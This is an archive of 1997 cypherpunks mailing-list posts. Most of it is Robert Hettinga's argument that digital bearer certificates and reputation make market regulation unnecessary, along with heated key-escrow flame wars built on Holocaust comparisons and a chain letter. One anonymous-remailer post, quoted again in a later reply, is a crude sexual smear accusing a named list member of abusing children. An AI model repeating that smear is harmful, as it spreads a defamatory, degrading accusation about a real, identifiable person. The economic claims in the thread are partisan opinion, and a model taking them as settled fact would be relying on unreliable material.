> may well want to farm out this secondary market processing but I don't
> think transaction agents will offer that service for nothing.

In my example, they're selling the exaust, the pricing information they
collect. New information is always more important than old information in a
geodesic market, right? I say that secondary market transaction costs are
still inconsiderable, for the most part.

> Also because
> no one has critical mass for a clearing service I the investor end up
> paying over the top.

I think that you're looking at a world where there are economies of scale,
here. As I said elsewhere, that "critical mass" continues to get smaller
and smaller, particular in "switching" activities like trade clearing. One
of my many groundless claims about all this is that the transfer price
inside operating units of larger entities converges toward the market price
between small independant entities. Exactly the opposite of what happens in
industrial communications networks. Cf. all my various rants on Moore's Law
and geodesic networks. The upshot is that organazitions map to their
communication structures, and hierarchical, economies-of-scale markets and
organizations don't work in that kind of world.

> I also don't think it's more efficient for investors
> to pay transaction agents for the resulting price information - again if I
> am a global investor I don't want to pay for hundreds of different price
> feeds.   Again you can see information agents entering the market but this
> is simply what we have today.

Yes, but the information is ubiquitous, and, of course, it's distributed
geodesically. Anybody with a reasonably fast machine can purchase pricing
from all those places, or even a reasonable statistical sample, and
"publish" that information. More to the point, people with new pricing
information will probably auction it off on a non-exclusive basis. Remember
Cronk's geodesic information auction talk during the rump session in
Anguilla? People with the most to gain from the newest information, pay the
most for it, usually because they resell it to others, but also because
they might need it to trade with.

> 'the operating costs of exchanging certificates for the secondary market is
> minimal'.  Certainly it could be cheaper than it is today but minimal costs
> rely on the counterparties applying simultaneously and there being no
> hitches on the authentication.

Of course. "Assume a frictionless surface", and all that. However, just
because the mathematics of the situation varies slightly from reality,
doesn't mean that it's wrong. Physics versus Engineering. Frankly, I think
that "no hitches in the authentication", being the most important business
necessity for the underwriter, will have to be be the *first* thing to
work. :-).  Fortunately, that's not too difficult a problem with these
cryptographic protocols.

In addition, the operative clause in your sentence above is "certainly it
could be cheaper than it is today". If it's "cheap" enough, and that is yet
another unsubstantiated claim of mine requiring actual data :-), then it's
good enough to use. H1 replaces H0, in statistical parlance.

> How could investors sell short?

Same way they do now. By borrowing certificates from somebody, and paying
the lender back with others. If the borrower doesn't pay those certificates
back, it's reputation "capital punishment".

> How would
> the clearer cope with back to back trades?  How can we ensure that this
> technology is standard so that investors don't have to deal differently
> with each clearer?

See above. With a standard protocol. The internet is one big standard
protocol, right?


> I don't think your argument about seven years of audit trails etc is
> focused on net v book entry settlement but rather on the structure of the
> industry as it stands. The seven years of audit trails could stand equally
> in the new world since regulators might demand it (say they want to
> investigate a fraud) and you want some minimal regulation (do you worry
> about market manipulation for example?).

See <http://www.braintennis.com/> Suppose you could punish someone without
needing the physical force of a nation state to do it. Reputation is
orthogonal to identity in cypherspace. The ultimate sanction in a geodesic
market is the loss of one's reputation. It's equivalent to capital
punishment, because no one will ever trade with you again. And, the most
important point, that reputation adheres to your digital signature, not
your physical person. Biometric identity, audit trails, etc., are no longer
necessary. So, if you can have non-repudiation through cryptographic
protocol (to keep the trades from breaking, and, more to the point, to make
them settle instantly) and reputation (to keep people from defrauding you),
*what* exactly do you need market "regulation" for?


> You could certainly simplify the
> current structure ie eliminate custodians, eliminate brokers, merge
> exchange and clearinghouse. But even with this new technology you would
> need to be able to reconcile your holdings against the underwriter (human
> error doesn't go away) and the underwriter has to keep an account of the
> holdings for dividend/coupon purposes.

Not if the coupons are actual certificates. For a bond and its coupons, you
just issue a bundle of bearer certificates comprising the coupons and the
principal. You could even "strip" them apart and sell them idividually in a
secondary market, if you can find someone to buy them. :-). At redemption
time, it would be just as if someone mailed in the little coupon they
clipped off a paper bearer bond, only I send them digital cash, instead of
a check. Don't need to know, or care, who they are. It's cheaper that way.

For dividends, there are lots of different zero-knowlege cryptographic
proofs that you can run using a digital bearer stock certificate, as the
"information" that you want to prove you have. (See Bruce Schneier's
"Applied Cryptography", 2nd ed., for this.) I call a dividend, people send
me a hash (or something) of the certificate to prove they have it, and I
send them digital cash in a message encrypted to them alone. Dividend paid,
all on a bearer basis. You can do the same kind of thing for proxies, too.
Yes, there are anonymous voting schemes. Welcome through the looking glass,
Alice.

> Finally, I'd like to understand how the investor gets best execution
> (agreed that he isn't getting it at the moment).  How does your investor
> know he is getting best price?

Because he's picking the seller out of the equivalent of an open-outcry market.

> How much structure will you impose?

The market imposes structure on itself. Economic reality is not optional.
Reality dictates politics, not the other way around.

> What is
> a more efficient way of providing price information and price history?

The most "efficient" way is the market's way. You know that. The more
information you put into a market, the more efficient it is, modulo
psychology, like motl^h^h^h^h greater fool theories, which we really can't
do anything about, anyway.

> PS I've been reading The House of Morgan (history of JP Morgan, Morgan
> Grenfell, Morgan Stanley etc) over the weekend.  Although it is difficult
> to find the right balance, it is a useful reminder of the dangers and costs
> of unrestrained, unregulated capital and how we ended up with the today's
> regulatory structures.

I used to be a clerk at Morgan Stanley. My first job out of college. I read
HOM about 5(?) years ago, after it came out.

I read the book the same way you did, until I discovered this financial
cryptography / geodesic market stuff. Now I see all that stuff completely
differently. Morgan was "integrative", because that's the way
communications technology was organizing things, into larger and larger
hierarchies. I consider myself "disintegrative", because that's the way
communications technology is organizing things, "surfacting" them into
smaller and smaller entities on a ubiquitous geodesic market-network.


By the way, my favorite J. Pierpont Morgan story is at the front of the
book, where they haul him in front of Congress, after saving the US economy
three(?) times and filling the mint twice(?), primarily because he has more
money and financial power than God. :-). They ask him what is the most
important thing to have to be a banker. His answer: Character. Something
like, "Character. I wouldn't buy anything from a man with no character if
he offered me all the bonds in Christendom."

That's why we didn't need regulation in the original paper-based,
instant-settled bearer certificate financial markets, the buttonwood tree
on Wall Street, or the coffeehouse called Lloyd's, or a bunch of merchants
in the City. Reputation ("Character") was good enough. It was a financial
actor's most precious asset. Things changed from that, to the hierarchical,
book-entry world we have today, because we needed to communicate long
distances and had only humans to switch the information around. The
technology you saw in Anguilla is about to change all that.

I'll make one or my famous wild-eyed claims here, and say that the *only*
reason we need market "regulation" is because our industrial communications
technology required us to use book-entry settlement, which in turn required
the force of nation-states to ensure non-repudiation.

We don't need information hierarchies, much less book-entry settlement,
anymore.


Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/



----------
The e$ lists are brought to you by:

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Visit <http://www.intertrader.com/> for details ...

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Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
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Thanks to the e$ e$lves:
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(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 1 Apr 1997 18:03:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: [URGENT] Zero-knowledge commit
Message-ID: <199704020203.VAA31255@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May prefers to have sex with little kids because his own penis is 
like that of a three-year-old.

  ! !
  - -
  * * Timmy May
 ( < )
   o





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 1 Apr 1997 23:24:45 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Sabotaging Big Brother Inside Corporate Complicity
In-Reply-To: <199704012345.PAA23018@fat.doobie.com>
Message-ID: <19970401232220.31194@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, Apr 01, 1997 at 03:45:47PM -0800, "TruthMonger" wrote:

[cliche-ridden political babble deleted]

>   No matter what lengths the government goes to to infringe
> on basic human rights, there will always be individuals and
> corporations fighting over who gets to profit from the actions,
> all the while claiming, "We don't put them in the ovens, we
> just turn on the gas."

Oh, we're to the death camps, are we?  I guess that counts as 
invoking Hitler.

>   Do corporations have more rights than the citizens?
>   That depends entirely on the citizens.
>   
> TruthMonger
> "We have met the enemy, and he is Kent."

Actually, you don't have a clue what I think, what my motives 
are, or what I favor.  Awareness of reality is the first requirement 
for sanity.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nadeshda@mexred.net.mx (nadeshda vargas stepanenko)
Date: Tue, 1 Apr 1997 21:29:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: q.N
Message-ID: <3341EDD0.99@mexred.net.mx>
MIME-Version: 1.0
Content-Type: text/plain








	To whom it may concern:





	My name is Nadeshda Vargas Stepanenko, I`m  a Law Student from Mexico

City and I`m writing this letter because in one of my classes I was

asigned to do a discertation on what can be done to control the Internet

in relation to it`s content and use, to protect the public at large

using the methods to protect your privacy.  I have found a lot of

information of these servidors, but the reason to write this e-mail is

for asking some questions about the subject:





	1) It would be convenient to legislate this methods?



	2) You can use them, for example, in Mexico?



	3) Do you think it would be necessary to create an International

Association for solving the problems in the Internet?



	4) What do you think about legislation of the Internet, and how the

lawyers may resolve these situations?





	I would be very thankful if you send me only a briefly opinion about

this questions, it is very important for me because it is not an easy

job.



                                    




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 1 Apr 1997 20:48:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Value Added Marketspace Model -- The Paper
Message-ID: <v03020970af6791db7e0e@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: "R. Jason Cronk" <list-manager@purple.reddesign.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Tue, 1 Apr 1997 21:58:01 +0000
From: "R. Jason Cronk" <list-manager@purple.reddesign.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  Value Added Marketspace Model -- The Paper


I've put my never to be finished paper on the value added marketspace
model, which I briefly described at FC97, on the WEB at
http://purple.reddesign.com/vam.html .  It is rough, but so were the roads
in Anguilla.


R. Jason Cronk
rjasonc@pobox.com


----------
The e$ lists are brought to you by:

Intertrader Ltd - Commerce Solutions in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
Or, for e$/e$pam sponsorship, see <http://www.shipwright.com/rah/>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 2 Apr 1997 00:10:51 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <199704020022.QAA24113@fat.doobie.com>
Message-ID: <19970402000825.61388@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, Apr 01, 1997 at 04:22:01PM -0800, Huge Cajones Remailer wrote:
> Kent Crispin dribbled syphlyrically:
>  
> > Like it or not, businesses like -- no, *need* -- key escrow -- company
> > secrets can't go down the drain because someone gets hit by a truck.
> 
>   An exact quote from some of your earlier posts.
>   Are you working from a cheat-sheet?
>   Is someone _telling_ you what to say?
>   Are they holding your kids hostage and _making_ you say this?
>   Is it time for Big Brother to hire some fresh writers?

Not my best prose, for sure.  But it is a reflection of sentiments I 
have seen expressed by people in business.

I'm not working from a cheat sheet.  No one is telling me what to say. 
Just like you, I am too totally inconsequential to make it worth
anyone's time to try to make me say anything. 

I am not in favor of GAK, either.  When I talk about companies wanting
key escrow I am speaking from observation, not ideology.  It's sad
that a mailing list that purports to be a bastion of free thought
harbors so many closed minds -- people who don't have the faintest
idea about my beliefs fall all over themselves jumping to conclusions,
apparently because they have become so conditioned to certain
buzzphrases that they no longer think. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 1 Apr 1997 21:15:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: tiggers
Message-ID: <199704020515.AAA13413@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Before reading the rest of this message make a wish.

               __  _-==-=_,-.     The wonderful things aboutTiggers
              /--`' \_@~@.--<     Is Tiggers are wonderful things.
              `--'\ \  <___/.      Their tops are made out of rubber,
\                   \\   " /       Theirbottoms are made out ofsprings.
                    >=\\_/`<      They're bouncy, trouncy,
        ____       /= |  \_/      Flouncy, pouncy,
      _'    `\   _/=== \__/       Fun, fun, fun, fun, fun!
      `___/ //\./=/~\====\        But the best thing about Tiggers is
          \   // /   | ===|       I'm the only one!
           |  ._/_,__|_ ==|        __
           \/    \\ \\`=-|       / \\
             |    _     \\|      /==|-\
            `.__' `-____/       |--|==|
               \    \ ===\      |==|`-'
               _>    \ ===\    /==/
               /==\   |  ===\__/--/
              <=== \  /  ====\ \\/
              _`--  \/  === \/--'
             |       \ ==== |
              -`------/`--' /
                      \___-'


  *If you read this on a Sunday, wish for a  really fun week
  *If you read this on a Monday, wish for money
  *If you read this on a Tuesday, wish for love
  *If you read this on a Wednesday, wish for success
  *If you read this on a Thursday, wish for anything you want
  *If you read this on a Friday, wish for a really hot date
  *If you read this on a Saturday, wish for an important phone call

Send this to seven people (after you  make a wish).  Make sure it is
mailed as soon as you read it or your  wish  won't come true.
REMEMBER, make a WISH, send this letter (and hope it happens)









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 2 Apr 1997 05:43:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sabotaging Big Brother...
In-Reply-To: <19970401232220.31194@bywater.songbird.com>
Message-ID: <199704021343.FAA10480@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:22 PM 4/1/97 -0800, Kent wrote thoughtfully:

|Oh, we're to the death camps, are we?  I guess that counts as 
|invoking Hitler.

Hitler can serve as an excellent example of the outcomes
of the steps you advocate.

>Actually, you don't have a clue what I think,
>what my motives are, or what I favor.
>Awareness of reality is the first requirement for sanity.

What banal nonsense is this?
"Awareness of reality is the first requirement 
for sanity."

The awareness of the Gulag, the Deathcamps,
Japanese internment, Joe McCarthy? 

These things are real! Not part of the
political science theory-jargon you spew!

These realities _happened_ and were all justified
by their particular sponsors. 

TruthMonger

...

Let's try this theory:

"Extremism in the defense of Liberty is no vice. And...
moderation in the pursuit of justice is no virtue."

BG 1964




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 2 Apr 1997 06:31:24 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: [URGENT] Zero-knowledge commit
In-Reply-To: <199704020203.VAA31255@dhp.com>
Message-ID: <Pine.A41.3.95.970402072818.99144A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to him.

On Tue, 1 Apr 1997, lucifer Anonymous Remailer wrote:

> Timmy May prefers to have sex with little kids because his own penis is 
> like that of a three-year-old.
> 
>   ! !
>   - -
>   * * Timmy May
>  ( < )
>    o
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 2 Apr 1997 06:50:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Geodesic Warfare: The Mesh and the Net
Message-ID: <v03020904af681a1b2d85@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


Anthony Templar took the text file I had of

                          THE MESH AND THE NET

                    Speculations on Armed Conflict in
                          a Time of Free Silicon

                            MARTIN C. LIBICKI

                              McNair Paper 29

                                March 1994

                INSTITUTE FOR NATIONAL STRATEGIC STUDIES
                       NATIONAL DEFENSE UNIVERSITY
                               Washington, D.C.

 bashed it quite nicely into HTML, and parked it at
<http://www.shipwright.com/meshnet.html>.


Somebody put a pointer to the original site -- which I have since lost --
on cypherpunks a couple of years ago, and I downloaded the text version,
then, thinking that I would have a copy of my own if it was ever taken off
the net. Altavista was just getting started at the time, and, like a
turn-of-the-century British dancehall character named Archie (the namesake
for World War I antiaircraft fire), Altavista was busy looking up the dress
of every website it could find, and telling everyone what it saw. :-). No
telling when stuff would go away, especially after the webmasters' bosses
found out about it.

It dawns on me that both comic book and internet protocol Archies were
aptly named, in hindsight...


Anyway, thanks to Anthony for doing such a nice job on what looks like a
65-page paper. It's about 250k+ in size.

Its e$ relevance, of course, is, what happens if there's a cash settled
market for force, and these increasingly smaller, autonomous, networked
weapons auction their services in that market? Also, the paper talks about
how these weapons could be used to effectively defend very small pieces of
ground, certainly at the level of your average suburban house. Personal
warfare?  The Swiss, the original Icelanders, and the pre-British Irish
must be smiling somewhere.

Lions and Tigers and Bears.

Oh, my.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 2 Apr 1997 10:55:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sabotaging Big Brother Inside Corporate Complicity
Message-ID: <199704021855.KAA19208@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> On Tue, Apr 01, 1997 at 03:45:47PM -0800, "TruthMonger" wrote:
> 
> >   No matter what lengths the government goes to to infringe
> > on basic human rights, there will always be individuals and
> > corporations fighting over who gets to profit from the actions,
> > all the while claiming, "We don't put them in the ovens, we
> > just turn on the gas."
> 
> Oh, we're to the death camps, are we?  I guess that counts as
> invoking Hitler.

  ...or how Native Americans who died on the Trail of Tears
*really wanted* to go for a walk in the country?

> > TruthMonger
> > "We have met the enemy, and he is Kent."
 
> Actually, you don't have a clue what I think, what my motives
> are, or what I favor.  Awareness of reality is the first requirement
> for sanity.

  The reality is, dropping the .gov sig-reference _doesn't_ count
as 'devoking' Clinton.
  And given the muddled nature of your thinking on key escrow, I'm
not sure whether either one of us has a clue as to what you think.
  As far as your motives go, that's a matter between you and the
Cosmic Muffin. The road to Key Escrow is paved with good intentions.
(All of the Chinese got used up building the railroads.)

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 2 Apr 1997 10:26:30 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: LJL into key-escrow? (was Re: The Balloon is Going Up....criminalization of noncompliant crypto)
In-Reply-To: <19970401122309.44634@bywater.songbird.com>
Message-ID: <3342A4EF.5534@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> On Wed, Apr 02, 1997 at 12:03:27AM +0100, Adam Back wrote:
> > "Entrust" is a company Kent has been quoting to
> > us in a long running thread on cpunks, as an example of how companies
> > really want "key-escrow".
> 
> Just so things are clear, the reasoning is as follows:
>         1) Entrust provides a product that includes enterprise
>         key escrow.
>         2) <useless redundancy>
>         3) The point of my posting it was to illustrate
>         that industry perceives a market.
>         4) Entrust is a product I happen to be familiar with.  You go
>         to "security" trade shows and you see other companies as
>         well.

Kent, 
  You should try to refrain from embarassing yourself by referring
to the above as "reasoning".
  I'm of a like mind with Bill Stewart and Dr. Robert's, or whoever, 
who appear to think that compromises on privacy and freedom lead to 
yellow stars and barbed-wire fences.
  
 
  Now, if you could just give us similar examples to illustrate 
how the burdgeoning market for Zyklon-B showed that corporations
*really wanted* the Holocaust...
  Or how the Allied POW's in the Battan Death March *really wanted* 
to go for a walk in the country...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 2 Apr 1997 12:35:23 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: LJL into key-escrow? (was Re: The Balloon is Going Up....criminalization of noncompliant crypto)
In-Reply-To: <19970401122309.44634@bywater.songbird.com>
Message-ID: <19970402123257.39010@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, Apr 02, 1997 at 12:26:55PM -0600, Toto wrote:
[...]
> 
> Kent, 
>   You should try to refrain from embarassing yourself by referring
> to the above as "reasoning".

Obviously, I embarass easily.

>   I'm of a like mind with Bill Stewart and Dr. Robert's, or whoever, 
> who appear to think that compromises on privacy and freedom lead to 
> yellow stars and barbed-wire fences.

Do you work for a living?

>   Now, if you could just give us similar examples to illustrate 
> how the burdgeoning market for Zyklon-B showed that corporations
> *really wanted* the Holocaust...

Hitler again.  You lose.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 2 Apr 1997 13:03:04 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Sabotaging Big Brother...
In-Reply-To: <19970401232220.31194@bywater.songbird.com>
Message-ID: <19970402130029.37644@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, Apr 02, 1997 at 05:43:33AM -0800, Huge Cajones Remailer wrote:
> At 11:22 PM 4/1/97 -0800, Kent wrote thoughtfully:
> 
> |Oh, we're to the death camps, are we?  I guess that counts as 
> |invoking Hitler.
> 
> Hitler can serve as an excellent example of the outcomes
> of the steps you advocate.

Hitler again.  Must be a rookie.

> >Actually, you don't have a clue what I think,
> >what my motives are, or what I favor.
> >Awareness of reality is the first requirement for sanity.
> 
> What banal nonsense is this?
> "Awareness of reality is the first requirement 
> for sanity."
> 
> The awareness of the Gulag, the Deathcamps,
> Japanese internment, Joe McCarthy? 

No, I had in mind the reality of cold water, the wind, the ground you
walk on.  You know -- real reality.  You lose touch with that, you are
in bad shape, wouldn't you agree?  Likewise, making wild assumptions 
about what people think or believe frequently leads to inappropriate 
behavior. 

> These things are real! Not part of the
> political science theory-jargon you spew!

????  Political science ????  As far as I know, I haven't said a single 
thing about political science.

> These realities _happened_ and were all justified
> by their particular sponsors.

Granted.  And your point is?

> Let's try this theory:
> 
> "Extremism in the defense of Liberty is no vice. And...
> moderation in the pursuit of justice is no virtue."

The one I worry about is stupidity in pursuit of extremism.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 2 Apr 1997 10:43:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hettinga rants in Cleveland at 3PM on WERE
Message-ID: <v0302091daf685558ebaf@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Kevin Miller, a talk show host in Cleveland, is going to have me on his
local radio show at 3PM EST today to talk about e$, geodesic
markets/societies, strong crypto, digital bearer securities, and anything
else I can dream up. :-).

For those of you in Cleveland, the radio station is WERE, and I don't know
whether it's AM or FM.

Evidently, he also has a national radio show, with a simulcast (? could be
a tape to realaudio thing, though) on the net. I'm going to be on *that*,
also live, at 8PM tomorrow night.

More details as I know them.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 2 Apr 1997 12:30:08 -0800 (PST)
To: Hal Finney <hal@rain.org>
Subject: Re: Sabotaging Big Brother Inside Corporate Complicity
In-Reply-To: <199704021718.JAA01051@crypt.hfinney.com>
Message-ID: <3342BBDB.3830@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney wrote:
> There are two somewhat related technologies being discussed here, as Kent
> lists: key escrow and multiple encryption. 
> 
> However, as Tim points out, really both approaches can be adapted to
> a Big Brother situation.  If the government can force you to escrow
> your keys, it could equally well force you to encrypt to the FBI as an
> additional recipient. 

   Key escrow amounts to both and more. In escrowing your keys, you are
doing so to the FBI, the CIA, the Department of Agriculture, Social
Services, the janitor at the Key Escrow holding facility, etc.

   Should we put our faith in the 'good intentions' claimed by those
promoting key escrow?
   Talk to the grandmothers whose cars were confiscated because their
dear grandson left a roach in the ashtray, under authority of the laws
that were supposed to thwart drug kingpins. 
   Key escrow is needed so that grandmothers of the future, plugging
the parking meters of strangers with eCa$h, cannot escape prosecution
by using encryption.
 
>  I see
> supporting multiple recipients in the way outlined above as being an
> effort to *avoid* building "big brother inside".  Otherwise key escrow
> is what many employees are going to get.  If other people don't see it
> that way, I'd like to know.

   In lean econonomical times, employees tend to get whatever they are
given...end of story.
   If the employees are to get something other than Big Brother type
of control over their work-lives, then it is up to those such as the
CypherPunks and others who value privacy to promote viable options
for corporations to choose from in the security area.

   If the only security options that a corporate manager has is no
control or total control, then there will be those who will be forced
by circumstances to opt for the latter, regardless of whether they
find it personally distasteful.
   Indeed, members of the Tim C. May Corporate Sabatoge Revolutionary
Committee may well find that they can sabatoge the government's evil
intentions without harming their employer's position, merely by
making an effort to ensure that their company's product gives the
undercover Human Rights agents that have infiltrated corporate
management an option to choose a product that they can customize
with a view toward maintaining both company security and employee
privacy.

  Let's face it, the government will roll over anyone who is unarmed,
and have Kent issue a press release suggesting that the citizens were
crying out for tank-tread marks on their backs.
  The solution is to provide as many workable products/solutions as
possible for those who feel a need for encryption, so that they may
customize their use of it according to their own inclinations and
level of conscience.
  The government always seems to have extra munitions on hand to
give to would-be dictators, it is up to disorganizations such as
the CypherPunks to make certain that the citizens have the 
opportunity to arm themselves, as well.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 2 Apr 1997 12:31:15 -0800 (PST)
To: "A. Padgett Peterson P.E. Information Security" <PADGETT@hobbes.orl.mmc.com>
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto
In-Reply-To: <970402101906.20605156@hobbes.orl.mmc.com>
Message-ID: <3342BDDE.5318@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


A. Padgett Peterson P.E. Information Security wrote:
> 
> Personally think these proposals are "fliers", things so bad that the
> radicals will get hung up on elements the gov could really care less about.
> Tricky part is to pick out what complies with the *real* agenda.

  Sounds like you got caught 'bending over' in the past, and learned
from the experience.
  How about a law that requires all politicians to speak through an
interpreter? Say, Howard Stern? (Only because Lenny Bruce is dead.)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 2 Apr 1997 13:03:07 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
